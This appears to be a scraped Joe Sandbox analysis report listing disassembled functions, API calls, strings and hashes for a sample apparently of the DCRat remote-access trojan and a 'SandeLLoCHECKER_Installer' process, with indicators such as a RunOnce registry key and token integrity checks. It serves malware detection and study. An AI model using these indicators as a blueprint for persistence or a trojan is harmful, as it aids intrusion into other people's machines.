Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: fad87aedda45d9f0e98b645e548ef54e43177dca53b8ce2f7f1e4b25355146e7
Instruction ID: b75850e00304c90afd2740a8305df19b992b85694f6d5e6cc9b19b219e2cf7db
Opcode Fuzzy Hash: fad87aedda45d9f0e98b645e548ef54e43177dca53b8ce2f7f1e4b25355146e7
Instruction Fuzzy Hash: 25110031601229ABEF25AF26DC45A6F3F54EF00724B14817BFC05DB351DA3C9E0A869D

Function 004A101F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,004A1160,?,00000000,00000000), ref: 004A1043
SetThreadPriority.KERNEL32(?,00000000), ref: 004A108A

Part of subcall function 00496C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00496C54

Part of subcall function 00496DCB: _wcschr.LIBVCRUNTIME ref: 00496E0A
Part of subcall function 00496DCB: _wcschr.LIBVCRUNTIME ref: 00496E19

Strings

CreateThread failed, xrefs: 004A104F

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Thread_wcschr$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2706921342-3849766595
Opcode ID: ba8a16b95505b0cb63a4821749fb5c33e53360a90c2c32b2c1bfa7709eeba7e6
Instruction ID: 655a613217d43811252492898985b5a21f4054bb2f9d7a25e0396c0d0b49c630
Opcode Fuzzy Hash: ba8a16b95505b0cb63a4821749fb5c33e53360a90c2c32b2c1bfa7709eeba7e6
Instruction Fuzzy Hash: 720126B63043097BD3306E64AC51F7673A8EB52751F20003FFB82566A0CAA86884862C

Function 0049C058 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 0049C080

Strings

<9L, xrefs: 0049C076
?*<>|", xrefs: 0049C06D, 0049C07F

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcschr
String ID: <9L$?*<>|"
API String ID: 2691759472-3936930852
Opcode ID: 46b87eb3c7f2aba75622156889eacc472c7f9b22c7a69783c43253cf01ad0f42
Instruction ID: bf93300ebc977ddfa48b6e264e7c0f30fc3c7618deffac6c7c23b038c3a8df1e
Opcode Fuzzy Hash: 46b87eb3c7f2aba75622156889eacc472c7f9b22c7a69783c43253cf01ad0f42
Instruction Fuzzy Hash: 6AF0D157A85301C5DF302EA89981733B7E4EF95320F34482FE5C4C73C2E6A988C0826D

Function 004ADB4B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004ADBAC

Strings

J, xrefs: 004ADB9F
Software\WinRAR SFX, xrefs: 004ADB95

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcslen
String ID: Software\WinRAR SFX$J
API String ID: 176396367-750066849
Opcode ID: bb43f80c48922031492da068d7759a7e76b0501e7f095b2db9116a477dcdb1bf
Instruction ID: 0093ecf13c9a404ae714249e154f2a8889476d649826989f3b8c7d249515d57d
Opcode Fuzzy Hash: bb43f80c48922031492da068d7759a7e76b0501e7f095b2db9116a477dcdb1bf
Instruction Fuzzy Hash: 86017171900118BADB219B51DC09FDB7F7CEB15355F000067B54A910A0DBB49B98C6F9

Function 004AAE2F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 0049C29A: _wcslen.LIBCMT ref: 0049C2A2

Part of subcall function 004A1FDD: _wcslen.LIBCMT ref: 004A1FE5
Part of subcall function 004A1FDD: _wcslen.LIBCMT ref: 004A1FF6
Part of subcall function 004A1FDD: _wcslen.LIBCMT ref: 004A2006
Part of subcall function 004A1FDD: _wcslen.LIBCMT ref: 004A2014
Part of subcall function 004A1FDD: CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,0049B371,?,?,00000000,?,?,?), ref: 004A202F

Part of subcall function 004AAC04: SetCurrentDirectoryW.KERNELBASE(?,004AAE72,C:\Users\user\Desktop,00000000,004D946A,00000006), ref: 004AAC08

_wcslen.LIBCMT ref: 004AAE8B

Strings

<J, xrefs: 004AAEC4
C:\Users\user\Desktop, xrefs: 004AAE68

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcslen$CompareCurrentDirectoryString
String ID: <J$C:\Users\user\Desktop
API String ID: 521417927-1902080862
Opcode ID: ee2c8bb831f5f039621699663ca7e3d2bcd7d9b66a74749644b66454715e01fc
Instruction ID: ea300d349391d596e2aa04036bead05adfaacfd9454370d7770b069a63b747a7
Opcode Fuzzy Hash: ee2c8bb831f5f039621699663ca7e3d2bcd7d9b66a74749644b66454715e01fc
Instruction Fuzzy Hash: 6A017171D40218A9DF10ABA6DD0AEDF73BCAF19308F00046BF505E3192E7BC9654CBA9

Function 004BBB4E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004B97E5: GetLastError.KERNEL32(?,004D1030,004B4674,004D1030,?,?,004B3F73,00000050,?,004D1030,00000200), ref: 004B97E9
Part of subcall function 004B97E5: _free.LIBCMT ref: 004B981C
Part of subcall function 004B97E5: SetLastError.KERNEL32(00000000,?,004D1030,00000200), ref: 004B985D
Part of subcall function 004B97E5: _abort.LIBCMT ref: 004B9863

_abort.LIBCMT ref: 004BBB80
_free.LIBCMT ref: 004BBBB4

Strings

pL, xrefs: 004BBBAB

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ErrorLast_abort_free
String ID: pL
API String ID: 289325740-1374626527
Opcode ID: 9d1a5426a0fa2b40a327411ba291062ba83c30272939f5efeda04fde518ce42f
Instruction ID: 3384798dc2c6ccfd2446b4c1b0df7841a085203738e61dd0ad743c1447a645d3
Opcode Fuzzy Hash: 9d1a5426a0fa2b40a327411ba291062ba83c30272939f5efeda04fde518ce42f
Instruction Fuzzy Hash: 8E01A131D046219BCB61AF5AC801A9EB7A0FB04724B14011FE92467795CBBD7D01CFED

Function 004AB425 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 004AB42F

Strings

(J, xrefs: 004AB457
ZJ, xrefs: 004AB441

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Malloc
String ID: (J$ZJ
API String ID: 2696272793-3263590397
Opcode ID: 95748433cd52622f76c079b93b42bb5c10004296b2fff45ff6b11d1f99cf2ece
Instruction ID: f899e6749f9499284b7abd10473e1ce642139158fac4167ff4a0ca1d8fa54216
Opcode Fuzzy Hash: 95748433cd52622f76c079b93b42bb5c10004296b2fff45ff6b11d1f99cf2ece
Instruction Fuzzy Hash: BC0169B6600108FF9F059FB0DC49CEEBBADEF19345700416AB906D7220EB31AA44DBA4

Function 004B8268 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 004BBF30: GetEnvironmentStringsW.KERNEL32 ref: 004BBF39
Part of subcall function 004BBF30: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004BBF5C
Part of subcall function 004BBF30: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 004BBF82
Part of subcall function 004BBF30: _free.LIBCMT ref: 004BBF95
Part of subcall function 004BBF30: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004BBFA4

_free.LIBCMT ref: 004B82AE
_free.LIBCMT ref: 004B82B5

Strings

0"O, xrefs: 004B829B

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _free$ByteCharEnvironmentMultiStringsWide$Free
String ID: 0"O
API String ID: 400815659-2600150691
Opcode ID: 7b87134a766005e6104eaf441b7bc008ae5ab7d39120aab583fdc82cd7b4bdd8
Instruction ID: 6d5b9288b41d3893cc73f1fcaeccfa39fd7b75af796cbd4317b687671b0ba367
Opcode Fuzzy Hash: 7b87134a766005e6104eaf441b7bc008ae5ab7d39120aab583fdc82cd7b4bdd8
Instruction Fuzzy Hash: 6AE0652360695245A669327B7C426FB160C8FD133CB5502AFF610D61D3DE9C8803C9BF

Function 004A0FE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,004A1206,?), ref: 004A0FEA
GetLastError.KERNEL32(?), ref: 004A0FF6

Part of subcall function 00496C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00496C54

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 004A0FFF

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: e94f35b64239cb795c2a92976469f11af97109495ef4e8efbf37efc66acd7192
Instruction ID: bb1488e5571efb34992fbe4900cad5c2e79750d9cba5390750ddb79316e914c5
Opcode Fuzzy Hash: e94f35b64239cb795c2a92976469f11af97109495ef4e8efbf37efc66acd7192
Instruction Fuzzy Hash: D5D02B3260812036CA2037295D05D7F3C049B62332F21472BF538506FACB1C0981429D

Function 0049E29E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,0049DA55,?), ref: 0049E2A3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,0049DA55,?), ref: 0049E2B1

Strings

RTL, xrefs: 0049E2AB

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 6da1e1d0a2802855d718f15f70df48fc9a58a3a74832a24cc999cc02cffd3975
Instruction ID: 17e8b593a34bd936f6e89b65f8c7e3306d20af71a3dbda80672643a6d9494b01
Opcode Fuzzy Hash: 6da1e1d0a2802855d718f15f70df48fc9a58a3a74832a24cc999cc02cffd3975
Instruction Fuzzy Hash: CFC080326407106AEB705F767C0DF437F586B01B13F09446DB141E92D5D6E9C940C7E5

Function 004AE47A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE467

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

UJ, xrefs: 004AE461
zJ, xrefs: 004AE47A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: UJ$zJ
API String ID: 1269201914-921788173
Opcode ID: b557a1e653d1d2a806cf0021837c5d89cc2ab8c4eef54a1f556d399912169711
Instruction ID: 895fbd48164b3ae8a25a523311d2b950b4ea00c8dde395dd3651120bb751e084
Opcode Fuzzy Hash: b557a1e653d1d2a806cf0021837c5d89cc2ab8c4eef54a1f556d399912169711
Instruction Fuzzy Hash: 71B012D57580007C314461175D02F37010CC1DEF15330802FF528C1086DD4C0E01053F

Function 004AE470 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE467

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

pJ, xrefs: 004AE470
UJ, xrefs: 004AE461

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: UJ$pJ
API String ID: 1269201914-2084652972
Opcode ID: 98876692d50b36e9387a3dffb8d63557e21fd5675d94188d5e8e5f097a1341b3
Instruction ID: 8c5b27a14cc86fb838336a614fd716efb8decd83b76020160d40842c39ed18de
Opcode Fuzzy Hash: 98876692d50b36e9387a3dffb8d63557e21fd5675d94188d5e8e5f097a1341b3
Instruction Fuzzy Hash: 4DB012C5759040BC3144A1171D02E37010CC1DEB55330C02FF928C1085DD4C4C01053F

Analysis Process: SandeLLoCHECKER_Installer.exePID: 6036, Parent PID: 6524COMMON

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.1%
Total number of Nodes:	1527
Total number of Limit Nodes:	58

Executed Functions

Function 0097A850 Relevance: 29.3, APIs: 11, Strings: 5, Instructions: 1264synchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

GetTickCount.KERNEL32 ref: 0097A8D4
__Xtime_get_ticks.LIBCPMT ref: 0097A8DC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0097A926
__Init_thread_footer.LIBCMT ref: 0097AB11
GetCurrentProcess.KERNEL32(00000008,?,C7BA013E), ref: 0097AD08
OpenProcessToken.ADVAPI32(00000000), ref: 0097AD0F
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),?,00000004,?), ref: 0097AD3E
CloseHandle.KERNEL32(00000000), ref: 0097AD53

Part of subcall function 0084A8A0: RtlAllocateHeap.NTDLL(?,00000000,?,C7BA013E,00000000,00A3DE90,000000FF,?,?,00B277EC,?,009A5D66,8000000B,C7BA013E), ref: 0084A8EA

Part of subcall function 0084A190: FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,00000000,0084A308,-00000010,?,00000000), ref: 0084A1B3

Part of subcall function 00965C40: __Init_thread_footer.LIBCMT ref: 00965CB6

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0097B515
CreateThread.KERNEL32(00000000,00000000,0097C020,?,00000000,?), ref: 0097B550
WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,?,?,?), ref: 0097B583

Part of subcall function 0097E460: GetCurrentProcess.KERNEL32(?,C7BA013E), ref: 0097E4C9
Part of subcall function 0097E460: IsWow64Process.KERNEL32(00000000), ref: 0097E4D0
Part of subcall function 0097E460: _wcsrchr.LIBVCRUNTIME ref: 0097E551

Strings

VersionString, xrefs: 0097AFD4, 0097B025
Df, xrefs: 0097A91F
\/:*?"<>|, xrefs: 0097AAD1
\\?\, xrefs: 0097B657
/uninstall, xrefs: 0097AF03

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Process$Init_thread_footer$CreateCurrentHeapToken$AllocateCloseCountEventFindHandleInformationObjectOpenResourceSingleThreadTickUnothrow_t@std@@@WaitWow64Xtime_get_ticks__ehfuncinfo$??2@_wcsrchr
String ID: /uninstall$VersionString$\/:*?"<>|$\\?\$Df
API String ID: 2945862171-337833427
Opcode ID: 4234a8528cec0eb61d21bb93d73aa092864cdb8595e4940c5d5eff13ed7803f6
Instruction ID: 51f5a60fc0fcbbf4a3457e5874a2bf5a4e9a413ceefee26ba8967ffd85e1a0b3
Opcode Fuzzy Hash: 4234a8528cec0eb61d21bb93d73aa092864cdb8595e4940c5d5eff13ed7803f6
Instruction Fuzzy Hash: ABB2E172A00609DFDB14DFA8C845BAEBBB8FF44314F148269E419EB2D1DB74AD05CB91

Function 0084F620 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 267
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(combase.dll,RoGetActivationFactory,C7BA013E,00000000,000000B8,?,?,?,?,?,?,?,?,?,?,C7BA013E), ref: 0084F69B
GetProcAddress.KERNEL32(00000000,combase.dll), ref: 0084F6A1
LoadLibraryW.KERNEL32(?,.dll,-00000001,00000000,00AAA29C,00000000,00000000,00000000), ref: 0084F82B

Strings

CoIncrementMTAUsage, xrefs: 0084F72C
.dll, xrefs: 0084F812
combase.dll, xrefs: 0084F696, 0084F731
DllGetActivationFactory, xrefs: 0084F86E
RoGetActivationFactory, xrefs: 0084F691

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: LibraryLoad$AddressProc
String ID: .dll$CoIncrementMTAUsage$DllGetActivationFactory$RoGetActivationFactory$combase.dll
API String ID: 1469910268-2454113998
Opcode ID: 39d721da6a24502b44f1230139e6d7d6f2b6bb0ff2d3873b9c2c9f3cd0d24a52
Instruction ID: bc12c41af082ef0205cec4191017ea4fd0ddd55365c498bb8361cfbb153f215b
Opcode Fuzzy Hash: 39d721da6a24502b44f1230139e6d7d6f2b6bb0ff2d3873b9c2c9f3cd0d24a52
Instruction Fuzzy Hash: 71B16531D0020DEBDB14DFA8D885BAEBBB4FF58314F20412DE510E72A2EB74A944CB91

Function 0099F2B0 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 529
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0099F345
GetLastError.KERNEL32 ref: 0099F34B
GetUserNameW.ADVAPI32(?,?), ref: 0099F393
GetEnvironmentVariableW.KERNEL32(UserDomain,00000000,00000000), ref: 0099F3C9
GetEnvironmentVariableW.KERNEL32(UserDomain,?,00000000,00000000,00000000), ref: 0099F413
RegCloseKey.ADVAPI32(?,?,00000000,80000001,00000001,00000000,C7BA013E), ref: 0099F648
RegCloseKey.ADVAPI32(?,?,00000000,80000001,00000001,00000000), ref: 0099F882
RegCloseKey.ADVAPI32(?,?,?,?,80000001,00000001,00000000,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000031,?,00000000,80000001,00000001,00000000), ref: 0099F9B8

Strings

Software, xrefs: 0099F668
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 0099F897
UserDomain, xrefs: 0099F3C4, 0099F40E

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
